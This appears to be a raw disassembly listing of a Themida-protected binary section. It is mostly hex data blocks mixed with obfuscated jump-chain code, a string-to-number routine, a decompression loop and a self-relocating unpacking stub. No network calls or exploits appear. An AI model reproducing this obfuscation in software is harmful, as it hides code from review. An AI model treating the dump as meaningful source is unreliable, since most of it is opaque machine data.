20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 218EC356h, 2C20DEECh, 0E9951F95h dd 12h, 0F024283Bh, 5B5C7405h, 0DA97A265h, 65E62CBBh, 0EB813B0Fh dd 17F184E3h, 45F0BD8Dh, 9D8B05E2h, 5E20E31h, 53E9h, 95B52900h dd 8305E229h, 850F05F8h, 44h, 0CE9h, 8EB2A300h, 0F9D433ADh dd 84AE97D6h, 0B1E915h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0C45ADFC3h, 850F5350h dd 0 dd 0BD895A5Bh, 5E20E31h, 72BB6657h, 6F53B9B2h, 0FFB3533Ch dd 0F003F83h, 6E84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 6664958Bh, 0F30D18Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A0C35242h dd 9374723Eh, 900F3417h, 0E947C9D1h, 14h, 6F92AFDBh, 10CA744Bh dd 41D4BBE2h, 9FDD58AFh, 1110EFBAh, 0FFFF8FE9h, 559D8BFFh dd 8305E231h, 850F05F8h, 68h, 14E5B589h, 8C6605E2h, 0D28166D9h dd 0C1F66453h, 41850F04h, 89000000h, 0E22B118Dh, 959D8B05h dd 0B805E22Fh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B2C35747h dd 0D847995Ah, 0E97F8E34h, 18h, 0C1958B50h, 5A05E213h dd 32F9858Bh, 8B6605E2h, 0BBE0FFDAh, 2D7AFAE4h, 405BD83h dd 0F0005E2h, 17885h, 0F1BD8900h, 9005E21Bh, 0D38B6652h dd 12E8505Bh, 79000000h, 0C5035A3Ch, 7DCAE7Fh, 9DE6541Ch dd 1CADE154h, 6E9FAh, 79C40000h, 0CB8DE535h, 8D29905Ah dd 5E21349h, 0A4985C6h, 6A4505E2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89CFC352h dd 0E22F9D95h, 6AEF6805h, 0BE89B96h, 63000000h, 0C5891E8Ah dd 28C46ADDh, 0E9607267h, 0Fh, 2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h dd 61C39AD4h, 2434815Ah, 15E40386h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 72C35646h, 8166D11Ch, 0E88B70C2h dd 10h, 0AC598889h, 1CD304Fh, 6EE83BFDh, 0F5E5ED98h, 5A616052h dd 2DB5FF5Ah, 6605E226h, 1BE0CB81h, 39ED858Dh, 6A05E2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 45EA57C3h, 65FC80Eh, 0AE95Dh, 0F0800000h, 0CF2EF1E1h dd 0F9D04D30h, 785958Bh, 0D0FF05E2h, 3EA8166h, 585896Bh dd 6A05E204h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 9CE1C353h, 38A0C859h, 226E32F9h dd 0E381DE8Ah, 2228CC49h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0F0A6B6FAh dd 0A6DA1897h, 33BD83ACh, 5E24Ch, 4A840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0C14C38C3h, 0BE527D00h, 119D8B03h, 3105E205h, 0E219F995h dd 41B5FF05h, 0F05E206h, 95FFD3B7h, 5E20405h, 68D0Fh, 0BD290000h dd 5E210F1h, 0F00F883h, 0D585h, 4D858900h, 8305E21Dh, 0E20481BDh dd 840F0005h, 61h, 0D2B70F56h, 81B5FF5Ah, 6A05E204h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 590C351h, 0B1D6BBD4h, 1B8ACh, 81660000h, 0E90F05EAh dd 20Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0EAC35646h, 418D0943h, 8B05E207h, 41B5FFD3h, 6605E206h dd 0E6FACA81h, 641B5FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0B12204C3h, 9DB7C7C0h dd 8B14507Bh, 0E2171D9Dh, 5B5FF05h, 0E805E204h, 9, 2E7C34D6h dd 2247D36Ch, 73BDBAE2h, 0E95A06FCh, 18Ch, 18219D89h, 665F05E2h dd 83DBC3BAh, 0E22A6DBDh, 850F0005h, 0A5h, 5BD8951h, 5B05E200h dd 0A4985C6h, 8A4D05E2h, 4E8FEh, 76A80000h, 0BA66A435h dd 605069D1h, 800F60h, 0F000000h, 87h, 0CC8A6100h, 24448B61h dd 0E0BA6604h, 0B2008BEAh, 244489C1h, 38C0F04h, 66000000h dd 8958D88Bh, 0E221499Dh, 0DB5FF05h, 3105E215h, 0E22635B5h dd 0ED858D05h, 0E905E239h, 0Bh, 0DA4DC226h, 3AE10BB9h dd 0FF3EFCE3h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 14BA2BC1h, 0BA2582DAh dd 6BDE122Eh, 2A6D8589h, 0DF8005E2h, 0B830h, 85290000h dd 5E2083Dh, 4BDCBD89h, 8C0F05E2h, 5, 28DB8166h, 0FC00BB8h dd 3784h, 0E19D2300h, 0E905E200h, 0A0h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 15h, 4CC35242h, 39958BA0h dd 0F05E21Fh, 38Dh, 1DDF8000h, 405B5FFh, 6A05E2h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 1814D7C3h, 8B1D5EB1h, 0E6858D2Ah, 8105E4ACh, 30D12CAh dd 0AE85049h, 7E000000h, 51887155h, 99D13EF1h, 0AE8CCh dd 0C66B0000h, 0B18197AFh, 6B4E41E5h, 0FE8h, 132A8300h dd 0E5EAF73Fh, 5BFC2ECCh, 0DBFE9545h, 895B5A5Bh, 0B5292404h dd 5E203E5h, 0BD8D5650h, 5E2524Eh, 79FA8D8Dh, 0BCB805E2h dd 2B748323h, 0D00730CFh, 754947C8h, 83585EF8h, 0E20481BDh dd 6740005h, 4758D8Bh, 0C93305E2h, 0B8h, 0FC00B00h, 9984h dd 2DBD8300h, 5E21Eh, 95FF0674h, 5E22D31h, 0B8h, 75C00B00h dd 0E4BD8309h, 105E24Bh, 0BD830974h, 5E24BE4h, 8B0E7502h dd 0E24BDCB5h, 0E6858D05h, 0FF05E4ACh, 0E7858DD0h, 0FF05E241h dd 29BD83D0h, 205E21Dh, 0A58B2F75h, 5E20D65h, 481858Bh dd 48905E2h, 7D85C724h, 105E20Fh, 8B000000h, 0E24BE0B5h dd 51AD8B05h, 0B805E231h, 1, 0EB000CC2h, 7D85C700h, 105E20Fh dd 8B000000h, 0E20D65A5h, 0C5B58B05h, 8B05E205h, 0E23151ADh dd 0C2C03305h, 0BD83000Ch, 5E215D9h, 830F7400h, 0E20E65BDh dd 6740005h, 0E6595FFh, 0B58B05E2h, 5E24BDCh, 852360C3h dd 5E215E9h, 61C38B66h, 0BAA3D280h, 0 dd 13A9958Bh db 0E2h, 5 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_4F57BA ; --------------------------------------------------------------------------- loc_4F57B8: ; CODE XREF: Themida_:004F57BDj inc eax inc edi loc_4F57BA: ; CODE XREF: Themida_:004F57B6j cmp byte ptr [edi], 0 jnz short loc_4F57B8 xor ecx, ecx mov edi, [ebp+8] jmp short loc_4F57E9 ; --------------------------------------------------------------------------- loc_4F57C6: ; CODE XREF: Themida_:004F57EBj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_4F57DE ; --------------------------------------------------------------------------- loc_4F57DB: ; CODE XREF: Themida_:004F57E1j mul ebx dec esi loc_4F57DE: ; CODE XREF: Themida_:004F57D9j cmp esi, 0 ja short loc_4F57DB pop ebx add ecx, eax pop eax inc edi dec eax loc_4F57E9: ; CODE XREF: Themida_:004F57C4j or eax, eax jnz short loc_4F57C6 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 6Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 7C8FC351h, 896087FBh, 0E208E195h, 61C68B05h dd 3D9D8B56h, 5A05E22Ch, 20F28166h, 0E9C18B97h, 1ADh, 24748B60h dd 247C8B24h, 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h dd 5850FD2h, 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh dd 5850Fh, 168A0000h, 0FD21246h, 6A83h, 2C03300h, 5850FD2h dd 8A000000h, 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h dd 70E90000h, 0B8FFFFFFh, 1, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh dd 1BBh, 34850F00h, 0B9000000h, 1, 850FD202h, 5, 1246168Ah dd 2C913D2h, 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh dd 8B56FFFFh, 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h dd 0E88B4606h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh, 7D00h dd 22830Fh, 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h dd 0B4E95EA4h, 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh dd 0E95EA4F3h, 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh dd 0D1830000h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h dd 247C2BFFh, 247C8928h, 8C2611Ch, 929BA00h, 88E90000h dd 28000225h, 94025500h, 0A200560Bh, 94005606h, 6800560Bh dd 3F0012FFh, 25500h, 46000000h, 2000002h, 1000000h, 3000000h dd 0B7000000h, 0FA6CDCh, 4 dup(0) dd 90000000h, 9B005023h, 50004F66h, 0B3004FF6h, 9800500Dh dd 6C004FF3h, 5D004FF9h, 0DA004FF3h, 42004FC5h, 0F5004FEFh dd 0FF004FCDh, 68005001h, 2C005014h, 0DF004F8Fh, 65005009h dd 73004F74h, 15004FC7h, 1D005024h, 8004F9Bh, 7900500Eh dd 5A004FC2h, 48005018h, 34005017h, 5E005017h, 0B9004F60h dd 0E5004F84h, 9004FD5h, 63004FFDh, 0B4004F69h, 88005003h dd 2004FCFh, 6A005025h, 84004FA0h, 0AA005005h, 5A004FCFh dd 12004F77h, 2A004FBDh, 0A9004FC2h, 6F004FEFh, 31005027h dd 1E004FC3h, 0EE004F7Ah, 4600501Eh, 0AC004FFAh, 9C004F92h dd 77004FA6h, 2F004FDFh, 90004FA7h, 0B6004F68h, 43004FC7h dd 0D2004FCDh, 0C5004FC8h, 0D8004FFDh, 5E005021h, 43005001h dd 0A5004FC8h, 1A004FE1h, 86004FC1h, 2A004FF3h, 77004FFDh dd 9C004F8Dh, 0E0004FD2h, 47005012h, 37004FD4h, 5C004F7Ch dd 0B0004F91h, 0FD004F83h, 58004F77h, 5F004F81h, 4D005005h dd 6C004F82h, 0C4005023h, 0B4005004h, 0E6004F7Bh, 0FC00501Ch dd 0F5004FD2h, 52004FFDh, 14004FF8h, 45004FCBh, 0C4005005h dd 4E004F8Dh, 9E004FA1h, 28004FC1h, 1D00500Fh, 8F005000h dd 48004F80h, 12004FF3h, 0CE004FA2h, 0B3004FD3h, 0E4004FE8h dd 68004FADh, 88005011h, 0C5004FC8h, 26004F68h, 7A004F90h dd 0D5004F7Eh, 57004FFDh, 0AC004FA8h, 0E300500Fh, 0BB005021h dd 0B2004F8Dh, 0A7005017h, 20004F9Ch, 0DE004FFBh, 1004FEBh dd 6A004FDAh, 9F005010h, 5F004FAAh, 7F004FA3h, 0AC00500Dh dd 0F6004F74h, 8E004FC9h, 1F004FACh, 0E300500Bh, 0E3004FBFh dd 26004F87h, 3E004FD2h, 0FB004FAFh, 0C7005006h, 0C2004FCAh dd 6E004FC4h, 0D6004FE7h, 4005009h, 7004FCBh, 8D00500Fh dd 35004FC5h, 72005004h, 0BA004F70h, 33004FA0h, 89004FFEh dd 0A5004FCEh, 9C004FC2h, 1B004FA0h, 21004F79h, 65004FF0h dd 68004FE8h, 0AE004FE4h, 0A4004FB6h, 3B004F6Eh, 5004F99h dd 33004FE8h, 75004FBBh, 7D004F98h, 96005024h, 0D004F80h dd 80004F9Fh, 0E4004FDFh, 4E004F95h, 0C8004F92h, 7A004FBCh dd 47004F90h, 2D005008h, 0F2004FF8h, 10004F5Dh, 56004FECh dd 3300501Bh, 1400501Fh, 0D3004F92h, 61004FB2h, 0E004F8Dh dd 9E004F6Bh, 97004FC4h, 0AC005004h, 90004F96h, 8F004FDBh dd 0C9005022h, 64004FB9h db 0Ah, 50h, 0 ; --------------------------------------------------------------------------- loc_4F5CCB: ; CODE XREF: Themida_:0051891Cj ; Themida_:00523149j ... pusha pushf cld call $+5 pop edi sub edi, 5E2801Ch mov eax, edi add edi, 5E27D34h cmp eax, [edi+2Ch] jnz short loc_4F5CE9 jmp short loc_4F5CFC ; --------------------------------------------------------------------------- loc_4F5CE9: ; CODE XREF: Themida_:004F5CE5j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_4F5CF8 ; --------------------------------------------------------------------------- loc_4F5CF3: ; CODE XREF: Themida_:004F5CFAj add [edi+ecx*4+40h], eax dec ecx loc_4F5CF8: ; CODE XREF: Themida_:004F5CF1j or ecx, ecx jnz short loc_4F5CF3 loc_4F5CFC: ; CODE XREF: Themida_:004F5CE7j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_4F5D09: ; CODE XREF: Themida_:004F5D10j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_4F5D09 loc_4F5D12: ; CODE XREF: Themida_:loc_4F6041j ; Themida_:004F75B1j ... lodsb xor al, bl push 333Ah mov [esp], edx mov dl, 0A6h sub dl, 7Fh shl dl, 5 sub esp, 2 mov [esp], dx neg byte ptr [esp] pop dx push ebx mov bh, 99h and bh, 0F9h not bh shr bh, 2 jmp loc_4F8CBB ; --------------------------------------------------------------------------- db 0E9h, 0CCh, 0FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F5D46: ; CODE XREF: Themida_:004FBBD4j mov [esp], edi mov edi, 3B1219F3h and edi, 4980195h jmp loc_501B39 ; --------------------------------------------------------------------------- db 88h, 0D3h, 66h dd 0A203E95Ah, 505F0000h, 7922BE56h, 22B813E4h, 2913E479h dd 0E8295EF0h, 8158C589h, 0E53DA8C5h, 7C5812Bh, 81630B06h dd 506485F5h, 958DE9A9h, 0C2810000h, 1AF82EA4h, 5182E9h dd 4C28300h, 2474FF52h, 48F5A04h, 0C8855C24h, 46E8E99Ch dd 6CBB0000h, 0E973AE2Bh, 999Fh ; --------------------------------------------------------------------------- loc_4F5DB8: ; CODE XREF: Themida_:004F7B66j push 3ACDh jmp loc_4F7A8E ; --------------------------------------------------------------------------- a_zBzSul db '_‡×B‡×éî«',0 dd 46800h, 1580000h, 24048BC3h, 9D59E9h, 5EAC100h, 5CD7E9h dd 0E9E68900h, 1921h, 958DE95Ah, 51AD0000h, 20F2BE56h dd 0F189365Bh, 0E6E1815Eh, 8107996Bh, 320629C1h, 0CCBA5259h dd 8135946Ch, 0B2F47AC2h, 8689E9E3h, 0C6810000h, 8593100Eh dd 875EF201h, 248B2414h, 88D3F624h, 0E95B66D8h, 8677h dd 4C1835Dh, 31240C33h, 1FE9240Ch, 3100009Eh, 0EE2959CDh dd 3D0AE9h db 0 ; --------------------------------------------------------------------------- loc_4F5E4D: ; CODE XREF: Themida_:004F6143j and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_4F60A0 ; --------------------------------------------------------------------------- db 0FEh, 0C2h, 0E9h dd 0ACD3h, 4055854h, 83000000h, 48704E8h, 24248B24h, 54241C89h dd 39B9515Bh, 0E950C00Eh, 0F89h, 3C8BF801h, 4C48124h, 50000000h dd 590DB6B8h, 8A01E96Fh, 59B00000h, 0B34BE9h, 0E2895200h dd 2F9C68h, 24048900h, 206B1DB8h, 0DBB9516Ah, 41761B0Ah dd 804AE9h, 5BDA3100h, 2977C281h, 0D689AAD5h, 8324148Bh dd 0A66804C4h, 89000015h, 8EBD242Ch, 815C5A03h, 4C59D6C6h dd 50A8E93Ah, 0C4830000h, 535A6602h, 536664B3h, 662414F6h dd 56241C8Bh, 0C681E689h, 4, 2C681h, 34870000h, 81E95C24h dd 5B00009Bh, 4C381h, 53520000h, 59160F68h, 0CB815B46h dd 118C7397h, 779DF381h, 0DA8957DDh, 88E8E95Bh, 0C8310000h dd 0B60EE9h db 0 ; --------------------------------------------------------------------------- loc_4F5F39: ; CODE XREF: Themida_:004F7DDFj pop esi mov edx, [esp] add esp, 4 xor esi, 40EC6735h sub esi, 15800FB2h sub edx, esi pop esi and eax, edx mov edx, [esp] add esp, 4 shr eax, 0Ah jmp loc_501E4F ; --------------------------------------------------------------------------- loc_4F5F65: ; CODE XREF: Themida_:004FD770j inc edx jmp loc_4F7949 ; --------------------------------------------------------------------------- db 89h dd 49E95EF5h, 5A0000A4h, 0E3B4EB81h, 0D80196A4h, 2DF8295Bh dd 75DB132Eh, 5F2434FFh, 0A98CE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F5F8E: ; CODE XREF: Themida_:004FA7B5j pop esi push ebp mov ebp, esp add ebp, 4 jmp loc_4F9012 ; --------------------------------------------------------------------------- db 1, 44h, 24h dd 48B5804h, 4C48324h, 405h, 20500h, 4870000h, 0AA12E924h dd 2C310000h, 4F35E924h, 4680000h, 8B000000h, 5EE92434h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F5FCF: ; CODE XREF: Themida_:004FC3ADj add esp, 4 jmp loc_4FC2E8 ; --------------------------------------------------------------------------- db 81h dd 0C16024E2h, 0BBBB5324h, 16C6651h, 0B5E95BDAh, 510000C2h dd 0DF79FDB9h, 0D2E9814Ch, 0E95D1552h, 0A345h ; --------------------------------------------------------------------------- loc_4F5FFC: ; CODE XREF: Themida_:00501674j add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edi jmp loc_4FD598 ; --------------------------------------------------------------------------- db 5Eh, 52h, 0BAh dd 4, 3BE9D101h, 8B000083h, 89502404h, 405E0h, 0C0830000h dd 24048704h, 0C39D615Ch, 0FFFCD9E9h, 24048BFFh, 0B2C4E9h db 0 ; --------------------------------------------------------------------------- loc_4F6041: ; CODE XREF: Themida_:00500D4Aj jmp loc_4F5D12 ; --------------------------------------------------------------------------- dw 2C2Dh dd 0E93EAD2Eh, 3215h, 814BD3F7h, 0BD415F3h, 8988E9EDh dd 34FF0000h, 24048B24h, 6804C483h, 74D7h, 83241C89h, 0E95404ECh dd 2DD8h, 9709E95Ah, 0C3800000h, 4F22E995h, 0CD010000h dd 74FF5559h, 6BE90424h, 8100009Eh, 433C6EEFh, 0E9FA21ACh dd 7B09h ; --------------------------------------------------------------------------- loc_4F60A0: ; CODE XREF: Themida_:004F5E58j add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push 5E9Ch mov [esp], eax mov eax, 1 sub esp, 4 jmp loc_4FB604 ; --------------------------------------------------------------------------- dw 0D5F7h dd 6DF58145h, 296FEA49h, 2626E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F60D2: ; CODE XREF: Themida_:004FB3B4j mov edx, 4 add esi, edx pop edx xchg esi, [esp] pop esp push 1544h jmp loc_500C1B ; --------------------------------------------------------------------------- dd 11B7C681h, 27E96711h, 81000027h, 4C1h, 4C18100h, 87000000h dd 55E9240Ch, 530000ADh, 5150E389h, 591BF3B9h, 59C88924h dd 12Dh, 0E9D0F700h, 472Ah, 0D3288DB2h, 0C3805A66h, 6A85E910h dd 0DFE90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6133: ; CODE XREF: Themida_:004FF37Aj mov esi, 29807910h xor esi, edi pop edi mov edi, 5CF33AC3h xor edi, esi pop esi jmp loc_4F5E4D ; --------------------------------------------------------------------------- dd 0E6E9D7F7h, 680000B2h, 0A51h, 0B9240C89h, 22313ED4h dd 4F0DE9h db 0 ; --------------------------------------------------------------------------- loc_4F6161: ; CODE XREF: Themida_:004F8B07j shl edx, 8 jmp loc_4F6775 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 7A52h ; --------------------------------------------------------------------------- loc_4F6174: ; CODE XREF: Themida_:004F6253j pop edi add edx, 0FFFFFFFFh push esi push 78D1h jmp loc_4F7DD6 ; --------------------------------------------------------------------------- db 89h dd 0CFB5240Ch, 0A693E9h, 4C38100h, 87000000h, 815C241Ch dd 4C2h, 0C343E900h, 0E95B0000h, 0AF9h, 9C242CD3h, 0FFFB61E9h dd 0F6815FFFh, 47A312B1h, 0FFFFBF57h, 0FE29FFFFh, 0BD4FE9h db 0 ; --------------------------------------------------------------------------- loc_4F61C5: ; CODE XREF: Themida_:004F7957j pop edx inc eax jmp loc_4F8D14 ; --------------------------------------------------------------------------- dd 0C681CE29h, 43E695Dh, 592434FFh, 4C481h, 6EE90000h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F61E3: ; CODE XREF: Themida_:00500113j pop ebx and eax, edx mov edx, [esp] jmp loc_4FD682 ; --------------------------------------------------------------------------- aXhgf db 'Xhgf',0 align 4 aIS db '‰,$éÍ',1Bh,0 align 4 dd 0D205D001h, 5A4A984Ah, 3D38EB81h, 0EB814FB8h, 4E3071E1h dd 2560E9h db 0 ; --------------------------------------------------------------------------- loc_4F6215: ; CODE XREF: Themida_:004FFAACj shl ebp, 1 jmp loc_4F6298 ; --------------------------------------------------------------------------- dd 0B5E69BB9h, 59CE29D7h, 815EF701h, 2C7h, 5250E900h, 0C5800000h dd 3FCBE9A1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F623A: ; CODE XREF: Themida_:004FD93Cj mov [esp], edx mov edx, 4E3A7E0Bh xor edx, 4F086FC0h shl edx, 7 push edi mov edi, 180811D2h and edx, edi jmp loc_4F6174 ; --------------------------------------------------------------------------- dd 52665359h, 0F6E9B6B2h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6263: ; CODE XREF: Themida_:004FFC91j xchg eax, [esp] pop esp push 65D3h mov [esp], esi sub esp, 4 jmp loc_4F80D5 ; --------------------------------------------------------------------------- db 89h dd 0E6E92404h, 100001Ah, 50EA81CAh, 81238676h, 9973E9C2h dd 240C8B6Fh, 0E9595451h, 9E48h ; --------------------------------------------------------------------------- loc_4F6298: ; CODE XREF: Themida_:004F6217j dec ebp push edx mov edx, 4E9816C7h add edx, 0B26BED48h jmp loc_4FFFF6 ; --------------------------------------------------------------------------- loc_4F62AA: ; CODE XREF: Themida_:004FB598j pop edi add esp, 4 push 74CFh mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_500B2F ; --------------------------------------------------------------------------- db 0B0h dd 85B15108h, 0D1F6D1F6h, 8003E9C0h, 0E1D0F7E1h, 289CC180h dd 0DD3459C8h, 78F3E9h db 0 ; --------------------------------------------------------------------------- loc_4F62E1: ; CODE XREF: Themida_:004FAB1Bj shl ebx, 3 inc ebx jmp loc_500D59 ; --------------------------------------------------------------------------- dw 34FFh aXvicusC db '$XV‰æU鯗',0 dw 8600h dd 8620E9F5h, 0EA810000h, 74717435h, 81242C8Bh, 4C4h, 4C28100h dd 87000000h, 72E92414h, 58000018h, 0E9241C33h, 3CAh, 4C381h dd 0EB810000h, 4, 5C241C87h, 0E9242C89h, 8D7h, 0CD80DDF6h dd 0EED8020h, 459E800h, 148B66B6h, 2C48124h, 0E9000000h dd 3B07h, 0D1F7595Bh, 5C27E9h, 6ACBA00h, 0EAC15A0Eh, 4C946803h dd 3C890000h, 1A4ABF24h, 0D7F74593h, 0FFFFEF81h, 0EFC1FFFFh dd 1CE78108h, 0E975375Bh, 0FFFFFD07h, 2C381h, 0FF530000h dd 0E9042474h, 0B91Ah, 857A3ABBh, 5BDD2171h, 87EBE9h, 4C78300h dd 7E8DE9h, 91E95000h, 80000034h, 0F18831F6h, 8124148Bh dd 4C4h, 51C18000h, 8023E980h, 5366B3C1h, 0F928A4B7h, 0F9285B66h dd 68ECE9h, 1F3CBE00h, 0E9E96413h, 58000086h, 4C481h, 48F0000h dd 24248B24h, 9856E9h db 0 ; --------------------------------------------------------------------------- loc_4F63F9: ; CODE XREF: Themida_:004FA74Dj push dword ptr [edi+1Ch] sub esp, 4 mov [esp], edx jmp loc_4FCF11 ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 83000000h, 23E904C7h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6417: ; CODE XREF: Themida_:004F6E97j mov ecx, [esp] push eax mov eax, esp jmp loc_4FCBA9 ; --------------------------------------------------------------------------- aFSd db 'fÓ$$œé„&',0 align 4 loc_4F642C: ; CODE XREF: Themida_:004FAF5Bj xor esi, [esp] jmp loc_4FDD49 ; --------------------------------------------------------------------------- loc_4F6434: ; CODE XREF: Themida_:004FEF1Cj xchg esi, [esp] jmp loc_5002E5 ; --------------------------------------------------------------------------- dd 4C481h, 4E460000h, 8014E9h, 241C8B00h, 4C481h, 46E90000h dd 8100009Bh, 6F2713C2h, 81C2293Ah, 6F2713EAh, 9EEA813Ah dd 68625E52h, 3A53h, 0BDFBE9h, 71685100h, 0E9043014h, 8D8Ch ; --------------------------------------------------------------------------- loc_4F6480: ; CODE XREF: Themida_:004F95F4j mov edx, [esp] add esp, 4 not edx jmp loc_4FAB30 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 7EAFE9h, 0F878E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F649A: ; CODE XREF: Themida_:004FCE6Ej pop ecx jmp loc_4F9164 ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 2BC4E904h, 875A0000h, 565C241Ch dd 0B498E9h, 0E9E58900h, 0A849h, 55E28952h, 412B68h, 243C8900h dd 5528FFBFh, 5FFD891Eh, 2414F755h, 0ACBB535Dh, 0E942107Eh dd 1EBDh, 555DEA29h, 0B3786368h, 0E9565D37h, 0AE26h ; --------------------------------------------------------------------------- loc_4F64F4: ; CODE XREF: Themida_:004F696Fj mov [esp], esi mov esi, 392A3382h jmp loc_4FC56C ; --------------------------------------------------------------------------- db 30h, 0F0h, 8Bh dd 0E9512414h, 0AE8Ah, 468575Bh, 5F000000h, 0E95FFB01h dd 0FFFFFE70h ; --------------------------------------------------------------------------- loc_4F651C: ; CODE XREF: Themida_:004FC80Dj mov esp, [esp] jmp loc_4F76E1 ; --------------------------------------------------------------------------- aFyC db 'fY,C',0 db 0F8h, 4, 43h dd 0E9241C8Bh, 80Ch ; --------------------------------------------------------------------------- loc_4F6534: ; CODE XREF: Themida_:004F7ACAj mov esi, [esp] add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 8 xor eax, ecx xor eax, edi jmp loc_4F7B6B ; --------------------------------------------------------------------------- dd 68C28142h, 29460162h, 24148BD3h, 3104C483h, 0AD71E9C2h dd 815A0000h, 4C2h, 4C28100h, 87000000h, 535C2414h, 532CE4BBh dd 83F3814Bh, 0C159E325h, 57E908EBh, 5100009Fh, 0A25870B9h dd 3E9C100h, 4906E9C1h, 41E9D1F7h, 5A000010h, 8004C483h dd 7A046DEDh, 7A2CE800h, 0FF2434FFh, 83592434h, 0C48304C4h dd 393B6804h, 1C890000h, 0E94DB324h, 3D04h ; --------------------------------------------------------------------------- loc_4F65CC: ; CODE XREF: Themida_:004FB55Ej add esi, 4 xchg esi, [esp] pop esp or ebx, ebx jmp loc_4F841A ; --------------------------------------------------------------------------- db 89h, 0E6h, 0E9h dd 0EDFh, 242C335Fh, 33242C31h, 0F75C242Ch, 4EC83F9h, 68241C89h dd 1161h, 6A06E954h, 1ABB0000h, 0BA5EFF0Dh, 33CE586Eh dd 0FFF8ACE9h, 5BDA29FFh, 2474FF52h, 48F5A04h, 3C895C24h dd 2474FF24h, 18E95F04h, 80000030h, 0C30048EBh, 8148C380h dd 4ECh, 24048900h, 0CCFE63B4h, 8008ECC0h, 0C38014ECh dd 80E3286Eh, 34FF6EEBh, 0C4835824h, 5ACF6804h, 4890000h dd 2317B824h, 575522CBh, 0B9490DBFh, 81EFD15Ch, 0D83C5FC7h dd 5FFD89AEh, 0B2D4905h, 55E80153h, 0FE7204BDh, 0A6E58100h dd 452BD249h, 4C4B951h, 0CD017D39h, 807E9h, 6FE95800h dd 0FF00007Eh, 669D1C77h, 2414D259h, 9839E99Ch, 7F2D0000h dd 9BAE8B0h, 0E94F58C7h, 77EAh, 3162EE81h, 0F129EEB9h dd 3481E95Eh, 0E9520000h, 0A593h, 0C03EB652h, 0F68008EEh dd 4E6C01Ch, 287DEE80h, 24148BF5h, 81E78957h, 4C7h, 9A7CE900h dd 1C310000h, 241C3324h, 0E924248Bh, 0A04h ; --------------------------------------------------------------------------- loc_4F66FC: ; CODE XREF: Themida_:004F93E1j sub esp, 4 mov [esp], eax push edi push 51AE5D8Dh jmp loc_4FAC81 ; --------------------------------------------------------------------------- db 66h, 